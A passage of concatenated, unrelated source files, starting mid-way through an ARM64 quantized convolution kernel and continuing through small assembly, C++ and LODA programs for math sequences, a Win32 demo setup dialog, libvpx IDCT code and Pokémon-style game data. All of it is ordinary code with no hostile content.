v21.4s,v5.16b,v9.4b[1] sdot v22.4s,v5.16b,v10.4b[1] sdot v23.4s,v5.16b,v11.4b[1] ldr q5,[x1],16 sdot v24.4s,v6.16b,v8.4b[1] sdot v25.4s,v6.16b,v9.4b[1] sdot v26.4s,v6.16b,v10.4b[1] sdot v27.4s,v6.16b,v11.4b[1] ldr q6,[x1],16 sdot v28.4s,v7.16b,v8.4b[1] sdot v29.4s,v7.16b,v9.4b[1] subs x7,x7,16 // InputChannels -= 16 sdot v30.4s,v7.16b,v10.4b[1] sdot v31.4s,v7.16b,v11.4b[1] ldr q7,[x1],16 b.hs InputChannelLoop InChLoopEpilogue eor v0.8b,v0.8b,v12.8b eor v1.8b,v1.8b,v12.8b sdot v16.4s,v4.16b,v0.4b[0] eor v2.8b,v2.8b,v12.8b sdot v17.4s,v4.16b,v1.4b[0] eor v3.8b,v3.8b,v12.8b ldr d8,[x12],8 sdot v18.4s,v4.16b,v2.4b[0] sdot v19.4s,v4.16b,v3.4b[0] ldr q4,[x1],16 sdot v20.4s,v5.16b,v0.4b[0] sdot v21.4s,v5.16b,v1.4b[0] ldr d9,[x13],8 sdot v22.4s,v5.16b,v2.4b[0] sdot v23.4s,v5.16b,v3.4b[0] ldr q5,[x1],16 sdot v24.4s,v6.16b,v0.4b[0] sdot v25.4s,v6.16b,v1.4b[0] ldr d10,[x14],8 sdot v26.4s,v6.16b,v2.4b[0] sdot v27.4s,v6.16b,v3.4b[0] ldr q6,[x1],16 sdot v28.4s,v7.16b,v0.4b[0] sdot v29.4s,v7.16b,v1.4b[0] ldr d11,[x15],8 sdot v30.4s,v7.16b,v2.4b[0] sdot v31.4s,v7.16b,v3.4b[0] ldr q7,[x1],16 sdot v16.4s,v4.16b,v0.4b[1] sdot v17.4s,v4.16b,v1.4b[1] sdot v18.4s,v4.16b,v2.4b[1] sdot v19.4s,v4.16b,v3.4b[1] ldr q4,[x1],16 sdot v20.4s,v5.16b,v0.4b[1] sdot v21.4s,v5.16b,v1.4b[1] sdot v22.4s,v5.16b,v2.4b[1] sdot v23.4s,v5.16b,v3.4b[1] ldr q5,[x1],16 sdot v24.4s,v6.16b,v0.4b[1] sdot v25.4s,v6.16b,v1.4b[1] sdot v26.4s,v6.16b,v2.4b[1] sdot v27.4s,v6.16b,v3.4b[1] ldr q6,[x1],16 sdot v28.4s,v7.16b,v0.4b[1] sdot v29.4s,v7.16b,v1.4b[1] sdot v30.4s,v7.16b,v2.4b[1] sdot v31.4s,v7.16b,v3.4b[1] eor v8.8b,v8.8b,v12.8b ldr q7,[x1],16 eor v9.8b,v9.8b,v12.8b sdot v16.4s,v4.16b,v8.4b[0] eor v10.8b,v10.8b,v12.8b sdot v17.4s,v4.16b,v9.4b[0] eor v11.8b,v11.8b,v12.8b sdot v18.4s,v4.16b,v10.4b[0] sdot v19.4s,v4.16b,v11.4b[0] ldr q4,[x1],16 sdot v20.4s,v5.16b,v8.4b[0] sdot v21.4s,v5.16b,v9.4b[0] sdot v22.4s,v5.16b,v10.4b[0] sdot v23.4s,v5.16b,v11.4b[0] ldr q5,[x1],16 sdot v24.4s,v6.16b,v8.4b[0] sdot v25.4s,v6.16b,v9.4b[0] sdot v26.4s,v6.16b,v10.4b[0] sdot v27.4s,v6.16b,v11.4b[0] ldr q6,[x1],16 sdot v28.4s,v7.16b,v8.4b[0] sdot v29.4s,v7.16b,v9.4b[0] sdot v30.4s,v7.16b,v10.4b[0] sdot v31.4s,v7.16b,v11.4b[0] ldr q7,[x1],16 sdot v16.4s,v4.16b,v8.4b[1] sdot v17.4s,v4.16b,v9.4b[1] sdot v18.4s,v4.16b,v10.4b[1] sdot v19.4s,v4.16b,v11.4b[1] sdot v20.4s,v5.16b,v8.4b[1] sdot v21.4s,v5.16b,v9.4b[1] sdot v22.4s,v5.16b,v10.4b[1] sdot v23.4s,v5.16b,v11.4b[1] sdot v24.4s,v6.16b,v8.4b[1] sdot v25.4s,v6.16b,v9.4b[1] sdot v26.4s,v6.16b,v10.4b[1] sdot v27.4s,v6.16b,v11.4b[1] sdot v28.4s,v7.16b,v8.4b[1] sdot v29.4s,v7.16b,v9.4b[1] sdot v30.4s,v7.16b,v10.4b[1] sdot v31.4s,v7.16b,v11.4b[1] TST x7,15 B.NE InChannels8 // 4 ~ 12 InputChannels subs x9,x9,8 // KernelSize-=1 b.hi KernelSizeLoop Requantize tst w10,#MLAS_CONV_SYM_FLAG_PER_CHANNEL_SCALE ldr w13,[x8,#ConvSymPostProcessParams_ZeroPoint] beq BroadcastScaleValue ldp q0,q1,[x19],32 // load scale vector ldp q2,q3,[x19],32 b AccumulatorsToFloat BroadcastScaleValue ld1r {v0.4s},[x19] // load scale Value mov v1.16b, v0.16b mov v2.16b, v0.16b mov v3.16b, v0.16b AccumulatorsToFloat scvtf v16.4s,v16.4s // convert to float scvtf v17.4s,v17.4s scvtf v18.4s,v18.4s scvtf v19.4s,v19.4s scvtf v20.4s,v20.4s scvtf v21.4s,v21.4s scvtf v22.4s,v22.4s scvtf v23.4s,v23.4s scvtf v24.4s,v24.4s scvtf v25.4s,v25.4s scvtf v26.4s,v26.4s scvtf v27.4s,v27.4s scvtf v28.4s,v28.4s scvtf v29.4s,v29.4s scvtf v30.4s,v30.4s scvtf v31.4s,v31.4s fmul v16.4s,v16.4s,v0.4s // multiply by scale fmul v17.4s,v17.4s,v0.4s fmul v18.4s,v18.4s,v0.4s fmul v19.4s,v19.4s,v0.4s fmul v20.4s,v20.4s,v1.4s fmul v21.4s,v21.4s,v1.4s fmul v22.4s,v22.4s,v1.4s fmul v23.4s,v23.4s,v1.4s fmul v24.4s,v24.4s,v2.4s fmul v25.4s,v25.4s,v2.4s fmul v26.4s,v26.4s,v2.4s fmul v27.4s,v27.4s,v2.4s fmul v28.4s,v28.4s,v3.4s fmul v29.4s,v29.4s,v3.4s fmul v30.4s,v30.4s,v3.4s fmul v31.4s,v31.4s,v3.4s fcvtns v16.4s,v16.4s // convert to int fcvtns v17.4s,v17.4s fcvtns v18.4s,v18.4s fcvtns v19.4s,v19.4s fcvtns v20.4s,v20.4s fcvtns v21.4s,v21.4s fcvtns v22.4s,v22.4s fcvtns v23.4s,v23.4s fcvtns v24.4s,v24.4s fcvtns v25.4s,v25.4s fcvtns v26.4s,v26.4s fcvtns v27.4s,v27.4s fcvtns v28.4s,v28.4s fcvtns v29.4s,v29.4s fcvtns v30.4s,v30.4s fcvtns v31.4s,v31.4s sqxtn v16.4h,v16.4s sqxtn v17.4h,v17.4s sqxtn v18.4h,v18.4s sqxtn v19.4h,v19.4s sqxtn v24.4h,v24.4s sqxtn v25.4h,v25.4s sqxtn v26.4h,v26.4s sqxtn v27.4h,v27.4s dup v4.8h,w13 // zero point sqxtn2 v16.8h,v20.4s sqxtn2 v17.8h,v21.4s sqxtn2 v18.8h,v22.4s sqxtn2 v19.8h,v23.4s sqxtn2 v24.8h,v28.4s sqxtn2 v25.8h,v29.4s sqxtn2 v26.8h,v30.4s sqxtn2 v27.8h,v31.4s sqadd v16.8h,v16.8h,v4.8h sqadd v17.8h,v17.8h,v4.8h sqadd v18.8h,v18.8h,v4.8h sqadd v19.8h,v19.8h,v4.8h sqadd v24.8h,v24.8h,v4.8h sqadd v25.8h,v25.8h,v4.8h sqadd v26.8h,v26.8h,v4.8h sqadd v27.8h,v27.8h,v4.8h sqxtun v0.8b,v16.8h sqxtun v1.8b,v17.8h sqxtun v2.8b,v18.8h sqxtun v3.8b,v19.8h sqxtun2 v0.16b,v24.8h sqxtun2 v1.16b,v25.8h subs x6,x6,16 // processed 16 output channels sqxtun2 v2.16b,v26.8h sqxtun2 v3.16b,v27.8h b.lo PartialStore st1 {v3.16b},[x5],16 // Store full 4 x 16 st1 {v2.16b},[x17],16 sub x0,x0,x3 // Restore pointer to A: a -= ks st1 {v1.16b},[x16],16 st1 {v0.16b},[x2],16 b.hi OutputChannelLoop ExitKernel EPILOG_RESTORE_REG_PAIR x19,x20,#48 EPILOG_RESTORE_REG_PAIR d12,d13,#32 EPILOG_RESTORE_REG_PAIR d10,d11,#16 EPILOG_RESTORE_REG_PAIR d8,d9,#64! EPILOG_RETURN InChannels8 tbz x7,3,InChannels4 ldr d0,[x12],8 ldr q4,[x1],16 ldr d1,[x13],8 ldr d2,[x14],8 ldr d3,[x15],8 eor v0.8b,v0.8b,v12.8b ldr q5,[x1],16 eor v1.8b,v1.8b,v12.8b sdot v16.4s,v4.16b,v0.4b[0] sdot v17.4s,v4.16b,v1.4b[0] eor v2.8b,v2.8b,v12.8b ldp q6,q7,[x1],32 eor v3.8b,v3.8b,v12.8b sdot v18.4s,v4.16b,v2.4b[0] sdot v19.4s,v4.16b,v3.4b[0] sdot v20.4s,v5.16b,v0.4b[0] sdot v21.4s,v5.16b,v1.4b[0] sdot v22.4s,v5.16b,v2.4b[0] sdot v23.4s,v5.16b,v3.4b[0] sdot v24.4s,v6.16b,v0.4b[0] sdot v25.4s,v6.16b,v1.4b[0] ldp q4,q5,[x1],32 sdot v26.4s,v6.16b,v2.4b[0] sdot v27.4s,v6.16b,v3.4b[0] sdot v28.4s,v7.16b,v0.4b[0] sdot v29.4s,v7.16b,v1.4b[0] sdot v30.4s,v7.16b,v2.4b[0] sdot v31.4s,v7.16b,v3.4b[0] sdot v16.4s,v4.16b,v0.4b[1] sdot v17.4s,v4.16b,v1.4b[1] ldp q6,q7,[x1],32 sdot v18.4s,v4.16b,v2.4b[1] sdot v19.4s,v4.16b,v3.4b[1] sdot v20.4s,v5.16b,v0.4b[1] sdot v21.4s,v5.16b,v1.4b[1] sdot v22.4s,v5.16b,v2.4b[1] sdot v23.4s,v5.16b,v3.4b[1] sdot v24.4s,v6.16b,v0.4b[1] sdot v25.4s,v6.16b,v1.4b[1] sdot v26.4s,v6.16b,v2.4b[1] sdot v27.4s,v6.16b,v3.4b[1] sdot v28.4s,v7.16b,v0.4b[1] sdot v29.4s,v7.16b,v1.4b[1] sdot v30.4s,v7.16b,v2.4b[1] sdot v31.4s,v7.16b,v3.4b[1] tbz x7,2,SkipInCh4 InChannels4 ldr s0,[x12],4 ldr q4,[x1],16 ldr s1,[x13],4 ldr s2,[x14],4 ldr s3,[x15],4 eor v0.8b,v0.8b,v12.8b ldr q5,[x1],16 eor v1.8b,v1.8b,v12.8b sdot v16.4s,v4.16b,v0.4b[0] sdot v17.4s,v4.16b,v1.4b[0] eor v2.8b,v2.8b,v12.8b ldp q6,q7,[x1],32 eor v3.8b,v3.8b,v12.8b sdot v18.4s,v4.16b,v2.4b[0] sdot v19.4s,v4.16b,v3.4b[0] sdot v20.4s,v5.16b,v0.4b[0] sdot v21.4s,v5.16b,v1.4b[0] sdot v22.4s,v5.16b,v2.4b[0] sdot v23.4s,v5.16b,v3.4b[0] sdot v24.4s,v6.16b,v0.4b[0] sdot v25.4s,v6.16b,v1.4b[0] sdot v26.4s,v6.16b,v2.4b[0] sdot v27.4s,v6.16b,v3.4b[0] sdot v28.4s,v7.16b,v0.4b[0] sdot v29.4s,v7.16b,v1.4b[0] sdot v30.4s,v7.16b,v2.4b[0] sdot v31.4s,v7.16b,v3.4b[0] SkipInCh4 subs x9,x9,8 // ks -= 1 b.hi KernelSizeLoop b Requantize PartialStore tbz x6,3,LT8Store str d3,[x5],8 // no less than 8 channels str d2,[x17],8 dup d3,v3.d[1] dup d2,v2.d[1] str d1,[x16],8 str d0,[x2],8 dup d1,v1.d[1] dup d0,v0.d[1] LT8Store tbz x6,2,LT4Store str s3,[x5],4 str s2,[x17],4 dup s3,v3.s[1] dup s2,v2.s[1] str s1,[x16],4 str s0,[x2],4 dup s1,v1.s[1] dup s0,v0.s[1] LT4Store tbz x6,1, LT2Store str h3,[x5],2 str h2,[x17],2 dup h3,v3.h[1] dup h2,v2.h[1] str h1,[x16],2 str h0,[x2],2 dup h1,v1.h[1] dup h0,v0.h[1] LT2Store tbz x6,0,ExitKernel str b3,[x5] str b2,[x17] str b1,[x16] str b0,[x2] b ExitKernel NESTED_END MlasConvSymKernelNeonDot END
SECTION code_clib SECTION code_fp_am9511 PUBLIC cam32_sccz80_frexp_callee EXTERN asm_am9511_frexp_callee ; float frexpf(float x, int16_t *pw2); .cam32_sccz80_frexp_callee ; Entry: ; Stack: float left, ptr right, ret ; Reverse the stack, return on top pop hl ;my return pop bc ;ptr pop de ;float LSW ex (sp),hl ;float MSW <-> my return push bc ;ptr push hl ;float MSW push de ;float LSW call asm_am9511_frexp_callee ret
; receiving the data in 'dx' ; For the examples we'll assume that we're called with dx=0x1234 print_hex: pusha mov cx, 0 ; our index variable ; Strategy: get the last char of 'dx', then convert to ASCII ; Numeric ASCII values: '0' (ASCII 0x30) to '9' (0x39), so just add 0x30 to byte N. ; For alphabetic characters A-F: 'A' (ASCII 0x41) to 'F' (0x46) we'll add 0x40 ; Then, move the ASCII byte to the correct position on the resulting string print_hex_loop: cmp cx, 4 ; loop 4 times je print_hex_end ; 1. convert last char of 'dx' to ascii mov ax, dx ; we will use 'ax' as our working register and ax, 0x000f ; 0x1234 -> 0x0004 by masking first three to zeros add al, 0x30 ; add 0x30 to N to convert it to ASCII "N" cmp al, 0x39 ; if > 9, add extra 8 to represent 'A' to 'F' jle print_hex_step2 add al, 7 ; 'A' is ASCII 65 instead of 58, so 65-58=7 print_hex_step2: ; 2. get the correct position of the string to place our ASCII char ; bx <- base address + string length - index of char mov bx, HEX_OUT + 5 ; base + length sub bx, cx ; our index variable mov [bx], al ; copy the ASCII char on 'al' to the position pointed by 'bx' ror dx, 4 ; 0x1234 -> 0x4123 -> 0x3412 -> 0x2341 -> 0x1234 ; increment index and loop add cx, 1 jmp print_hex_loop print_hex_end: ; prepare the parameter and call the function ; remember that print receives parameters in 'bx' mov bx, HEX_OUT call print popa ret HEX_OUT: db '0x0000',0 ; reserve memory for our new string
#include "dialog.hh" #include "sys/msys.h" #include "intro.hh" struct ResolutionDesc { short w; short h; char guessedRatio; bool isValid; const char* desc; }; static ResolutionDesc resolutions[] = { { 800, 600, 0, false, "800x600"}, {1024, 768, 0, false, "1024x768"}, {1200, 900, 0, false, "1200x900"}, {1280, 720, 1, false, "1280x720"}, {1280, 800, 2, false, "1280x800"}, {1280, 1024, 0, false, "1280x1024"}, {1368, 768, 1, false, "1368x768"}, {1440, 900, 2, false, "1440x900"}, {1600, 1200, 0, false, "1600x1200"}, {1680, 1050, 2, false, "1680x1050"}, {1920, 1080, 1, false, "1920x1080"}, {1920, 1200, 2, false, "1920x1200"}, // { 960, 89, 3, false, "La Grande Halle's huge screen"}, }; struct RatioDesc { char w; char h; const char* desc; }; static RatioDesc ratios[] = { { 4, 3, "4:3"}, {16, 9, "16:9"}, {16, 10, "16:10"}, // {32, 3, "La Grande Halle's huge screen"}, }; Dialog * Dialog::instance_; Dialog::Dialog(): test_(false), fullscreen_(false), width_(0), height_(0), ratio_(1.f), ids_(0) { } void Dialog::run() { MSG msg; form_register(); form_init(); ShowWindow(form_, SW_SHOW); UpdateWindow(form_); SetFocus(button_ok_); while (GetMessage(&msg, 0, 0, 0)) { TranslateMessage( &msg ); DispatchMessage( &msg ); } } void Dialog::form_register() { WNDCLASS wc; hinstance_ = GetModuleHandle(0); wc.style = CS_HREDRAW | CS_VREDRAW | CS_OWNDC; wc.lpfnWndProc = input; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hIcon = LoadIcon(0, IDI_APPLICATION); wc.hCursor = LoadCursor(0, IDC_ARROW); wc.hbrBackground = (HBRUSH)COLOR_WINDOW; wc.lpszMenuName = 0; wc.lpszClassName = "CtrlAltTest-setup"; wc.hInstance = hinstance_; ATOM res = RegisterClass(&wc); assert(res != 0); // TODO: error handling } void Dialog::form_init() { DWORD style; DWORD exstyle; RECT rect; style = WS_CLIPSIBLINGS | WS_CLIPCHILDREN | WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU; exstyle = WS_EX_APPWINDOW; rect.left = 0; rect.right = 400; rect.top = 0; rect.bottom = 140; AdjustWindowRectEx(&rect, style, false, exstyle); form_ = CreateWindowEx(exstyle, "CtrlAltTest-setup", DEMO_TITLE ", by Ctrl-Alt-Test", style, CW_USEDEFAULT, CW_USEDEFAULT, rect.right - rect.left, rect.bottom - rect.top, 0, 0, hinstance_, 0); combobox_resolutions_ = combobox_create("Resolution:", 40, 10, 100, 150, 250, id_combobox_resolutions_); int guessedRatio = 0; fill_resolutions_combobox(guessedRatio); combobox_ratios_ = combobox_create("Monitor aspect:", 40, 40, 100, 150, 250, id_combobox_ratios_); fill_ratios_combobox(guessedRatio); checkbox_fs_ = checkbox_create("Fullscreen", 165, 70, 110, 28, true, id_checkbox_fs_); // checkbox_gamma_ = checkbox_create("Gamma correction (video projector mode)", 15, 46, 325, 28, true, id_checkbox_gamma_); button_ok_ = button_create("Test", 290, 102, 90, 28, id_button_ok_); //button_ko_ = button_create("Don't test", 190, 102, 90, 28, id_button_ko_); // if (!form_) // TODO: error handling } HWND Dialog::button_create (const char* name, int x, int y, int w, int h, int &id) { HWND res = CreateWindow("BUTTON", name, WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON, x, y, w, h, form_, (HMENU) ++ids_, (HINSTANCE) GetWindowLong(form_, GWL_HINSTANCE), 0); id = ids_; return res; } HWND Dialog::checkbox_create (const char* name, int x, int y, int w, int h, bool checked, int &id) { HWND res = CreateWindow("BUTTON", name, WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_AUTOCHECKBOX, x, y, w, h, form_, (HMENU) ++ids_, (HINSTANCE) GetWindowLong(form_, GWL_HINSTANCE), 0); CheckDlgButton(form_, ids_, checked ? BST_CHECKED : BST_UNCHECKED); id = ids_; return res; } HWND Dialog::combobox_create(const char* name, int x, int y, int w1, int w2, int h, int &id) { HWND label = CreateWindow("STATIC", name, WS_CHILD | WS_VISIBLE | SS_RIGHT, x, y + 5, w1, h, form_, (HMENU) ++ids_, (HINSTANCE) GetWindowLong(form_, GWL_HINSTANCE), 0); HWND res = CreateWindow("COMBOBOX", NULL, WS_TABSTOP | WS_VISIBLE | WS_CHILD | CBS_DROPDOWNLIST | CBS_DISABLENOSCROLL, x + w1 + 25, y, w2, h, form_, (HMENU) ++ids_, (HINSTANCE) GetWindowLong(form_, GWL_HINSTANCE), 0); id = ids_; return res; } void Dialog::fill_resolutions_combobox(int & guessedRatio) { bool mineIncluded = false; int mine = 0; int inserted = 0; int width = GetSystemMetrics(SM_CXSCREEN); int height = GetSystemMetrics(SM_CYSCREEN); const int numberOfResolutions = sizeof(resolutions) / sizeof(ResolutionDesc); for (int r = 0; r < numberOfResolutions; ++r) if (resolutions[r].w <= width && resolutions[r].h <= height) { resolutions[r].isValid = true; if (resolutions[r].w == width && resolutions[r].h == height) { mineIncluded = true; mine = inserted; guessedRatio = (int)resolutions[r].guessedRatio; } inserted += 1; SendMessage(combobox_resolutions_, CB_ADDSTRING, 0, (LPARAM) resolutions[r].desc); } if (!mineIncluded) { inserted += 1; SendMessage(combobox_resolutions_, CB_ADDSTRING, 0, (LPARAM) "Current screen resolution"); } SendMessage(combobox_resolutions_, CB_SETCURSEL, (WPARAM) mine, 0); } void Dialog::fill_ratios_combobox(int guessedRatio) { int width = GetSystemMetrics(SM_CXSCREEN); int height = GetSystemMetrics(SM_CYSCREEN); const int numberOfRatios = sizeof(ratios) / sizeof(RatioDesc); for (int r = 0; r < numberOfRatios; ++r) { SendMessage(combobox_ratios_, CB_ADDSTRING, 0, (LPARAM) ratios[r].desc); } SendMessage(combobox_ratios_, CB_SETCURSEL, (WPARAM) guessedRatio, 0); } LRESULT CALLBACK Dialog::input(HWND h, UINT msg, WPARAM wp, LPARAM lp) { int wmi; int wme; const int numberOfResolutions = sizeof(resolutions) / sizeof(ResolutionDesc); switch (msg) { case WM_COMMAND: wmi = LOWORD(wp); wme = HIWORD(wp); if (wmi == instance_->id_button_ok_) { LRESULT resolutionIndex = SendMessage(instance_->combobox_resolutions_, CB_GETCURSEL, 0, 0); LRESULT ratioIndex = SendMessage(instance_->combobox_ratios_, CB_GETCURSEL, 0, 0); instance_->test_ = true; instance_->fullscreen_ = instance_->is_checked(instance_->id_checkbox_fs_); // instance_->gamma_ = instance_->is_checked(instance_->id_checkbox_gamma_); // Résolution instance_->width_ = GetSystemMetrics(SM_CXSCREEN); instance_->height_ = GetSystemMetrics(SM_CYSCREEN); int current = 0; for (int i = 0; i < numberOfResolutions; ++i) if (resolutions[i].isValid) if (current++ == resolutionIndex) { instance_->width_ = resolutions[i].w; instance_->height_ = resolutions[i].h; break; } // Aspect ratio if (instance_->fullscreen_) instance_->ratio_ = float(ratios[ratioIndex].w) / float(ratios[ratioIndex].h); else instance_->ratio_ = float(instance_->width_) / float(instance_->height_); DestroyWindow(instance_->form_); return 0; } break; case WM_DESTROY: PostQuitMessage(0); return 0; } return DefWindowProc(h, msg, wp, lp); }
#include<iostream> using namespace std; int gcd(int a, int b) { if (a % b == 0) return b; return gcd(b, a % b); } int main(){ int a, b; while (cin >> a >> b) cout << gcd(a, b) << endl; return 0; }
; A007917: Version 1 of the "previous prime" function: largest prime <= n. ; Submitted by Christian Krause ; 2,3,3,5,5,7,7,7,7,11,11,13,13,13,13,17,17,19,19,19,19,23,23,23,23,23,23,29,29,31,31,31,31,31,31,37,37,37,37,41,41,43,43,43,43,47,47,47,47,47,47,53,53,53,53,53,53,59,59,61,61,61,61,61,61,67,67,67,67,71,71,73,73,73,73,73,73,79,79,79,79,83,83,83,83,83,83,89,89,89,89,89,89,89,89,97,97,97,97,101 add $0,1 div $0,2 mul $0,2 trn $0,1 seq $0,151799 ; Version 2 of the "previous prime" function: largest prime < n.
db DEX_LINOONE ; pokedex id db 78 ; base hp db 70 ; base attack db 61 ; base defense db 100 ; base speed db 55 ; base special db DARK ; species type 1 galarian? db NORMAL ; species type 2 db 90 ; catch rate db 128 ; base exp yield INCBIN "pic/ymon/linoone.pic",0,1 ; 55, sprite dimensions dw LinoonePicFront dw LinoonePicBack ; attacks known at lvl 0 db TACKLE db GROWL db LEER db HEADBUTT db 0 ; growth rate ; learnset tmlearn 6,8 tmlearn 9,10,11,12,14 tmlearn 20,24 tmlearn 25,28,31,32 tmlearn 34,39,40 tmlearn 44 tmlearn 50,51,53,54 db Bank(LinoonePicFront) ; padding
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license and patent ; grant that can be found in the LICENSE file in the root of the source ; tree. All contributing project authors may be found in the AUTHORS ; file in the root of the source tree. ; EXPORT |vp8_dequant_idct_add_v6| AREA |.text|, CODE, READONLY ;void vp8_dequant_idct_v6(short *input, short *dq, unsigned char *pred, ; unsigned char *dest, int pitch, int stride) ; r0 = input ; r1 = dq ; r2 = pred ; r3 = dest ; sp + 36 = pitch ; +4 = 40 ; sp + 40 = stride ; +4 = 44 |vp8_dequant_idct_add_v6| PROC stmdb sp!, {r4-r11, lr} ldr r4, [r0] ;input ldr r5, [r1], #4 ;dq sub sp, sp, #4 str r3, [sp] mov r12, #4 vp8_dequant_add_loop smulbb r6, r4, r5 smultt r7, r4, r5 ldr r4, [r0, #4] ;input ldr r5, [r1], #4 ;dq strh r6, [r0], #2 strh r7, [r0], #2 smulbb r6, r4, r5 smultt r7, r4, r5 subs r12, r12, #1 ldrne r4, [r0, #4] ldrne r5, [r1], #4 strh r6, [r0], #2 strh r7, [r0], #2 bne vp8_dequant_add_loop sub r0, r0, #32 mov r1, r0 ; short_idct4x4llm_v6_dual ldr r3, cospi8sqrt2minus1 ldr r4, sinpi8sqrt2 ldr r6, [r0, #8] mov r5, #2 vp8_dequant_idct_loop1_v6 ldr r12, [r0, #24] ldr r14, [r0, #16] smulwt r9, r3, r6 smulwb r7, r3, r6 smulwt r10, r4, r6 smulwb r8, r4, r6 pkhbt r7, r7, r9, lsl #16 smulwt r11, r3, r12 pkhbt r8, r8, r10, lsl #16 uadd16 r6, r6, r7 smulwt r7, r4, r12 smulwb r9, r3, r12 smulwb r10, r4, r12 subs r5, r5, #1 pkhbt r9, r9, r11, lsl #16 ldr r11, [r0], #4 pkhbt r10, r10, r7, lsl #16 uadd16 r7, r12, r9 usub16 r7, r8, r7 uadd16 r6, r6, r10 uadd16 r10, r11, r14 usub16 r8, r11, r14 uadd16 r9, r10, r6 usub16 r10, r10, r6 uadd16 r6, r8, r7 usub16 r7, r8, r7 str r6, [r1, #8] ldrne r6, [r0, #8] str r7, [r1, #16] str r10, [r1, #24] str r9, [r1], #4 bne vp8_dequant_idct_loop1_v6 mov r5, #2 sub r0, r1, #8 vp8_dequant_idct_loop2_v6 ldr r6, [r0], #4 ldr r7, [r0], #4 ldr r8, [r0], #4 ldr r9, [r0], #4 smulwt r1, r3, r6 smulwt r12, r4, r6 smulwt lr, r3, r8 smulwt r10, r4, r8 pkhbt r11, r8, r6, lsl #16 pkhbt r1, lr, r1, lsl #16 pkhbt r12, r10, r12, lsl #16 pkhtb r6, r6, r8, asr #16 uadd16 r6, r1, r6 pkhbt lr, r9, r7, lsl #16 uadd16 r10, r11, lr usub16 lr, r11, lr pkhtb r8, r7, r9, asr #16 subs r5, r5, #1 smulwt r1, r3, r8 smulwb r7, r3, r8 smulwt r11, r4, r8 smulwb r9, r4, r8 pkhbt r1, r7, r1, lsl #16 uadd16 r8, r1, r8 pkhbt r11, r9, r11, lsl #16 usub16 r1, r12, r8 uadd16 r8, r11, r6 ldr r9, c0x00040004 ldr r12, [sp, #40] uadd16 r6, r10, r8 usub16 r7, r10, r8 uadd16 r7, r7, r9 uadd16 r6, r6, r9 uadd16 r10, r14, r1 usub16 r1, r14, r1 uadd16 r10, r10, r9 uadd16 r1, r1, r9 ldr r11, [r2], r12 mov r8, r7, asr #3 pkhtb r9, r8, r10, asr #19 mov r8, r1, asr #3 pkhtb r8, r8, r6, asr #19 uxtb16 lr, r11, ror #8 qadd16 r9, r9, lr uxtb16 lr, r11 qadd16 r8, r8, lr usat16 r9, #8, r9 usat16 r8, #8, r8 orr r9, r8, r9, lsl #8 ldr r11, [r2], r12 ldr lr, [sp] ldr r12, [sp, #44] mov r7, r7, lsl #16 mov r1, r1, lsl #16 mov r10, r10, lsl #16 mov r6, r6, lsl #16 mov r7, r7, asr #3 pkhtb r7, r7, r10, asr #19 mov r1, r1, asr #3 pkhtb r1, r1, r6, asr #19 uxtb16 r8, r11, ror #8 qadd16 r7, r7, r8 uxtb16 r8, r11 qadd16 r1, r1, r8 usat16 r7, #8, r7 usat16 r1, #8, r1 orr r1, r1, r7, lsl #8 str r9, [lr], r12 str r1, [lr], r12 str lr, [sp] bne vp8_dequant_idct_loop2_v6 ; vpx_memset sub r0, r0, #32 add sp, sp, #4 mov r12, #0 str r12, [r0] str r12, [r0, #4] str r12, [r0, #8] str r12, [r0, #12] str r12, [r0, #16] str r12, [r0, #20] str r12, [r0, #24] str r12, [r0, #28] ldmia sp!, {r4 - r11, pc} ENDP ; |vp8_dequant_idct_add_v6| ; Constant Pool cospi8sqrt2minus1 DCD 0x00004E7B sinpi8sqrt2 DCD 0x00008A8C c0x00040004 DCD 0x00040004 END
; A080545: Characteristic function of {1} union {odd primes}: 1 if n is 1 or an odd prime, else 0. ; 1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0 mov $1,$0 mov $3,$0 cmp $3,0 add $0,$3 mov $2,1 div $2,$0 mul $1,$2 add $1,1 cal $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0. div $0,$1 mul $0,2 mov $1,$0 div $1,2
/*############################################################################## HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ############################################################################## */ #ifndef JITER_HPP #define JITER_HPP #include "jiface.hpp" #endif
SafariZoneNorthRestHouse_Script: call EnableAutoTextBoxDrawing ret SafariZoneNorthRestHouse_TextPointers: dw SafariZoneRestHouse4Text1 dw SafariZoneRestHouse4Text2 dw SafariZoneRestHouse4Text3 SafariZoneRestHouse4Text1: text_far _SafariZoneRestHouse4Text1 text_end SafariZoneRestHouse4Text2: text_far _SafariZoneRestHouse4Text2 text_end SafariZoneRestHouse4Text3: text_far _SafariZoneRestHouse4Text3 text_end
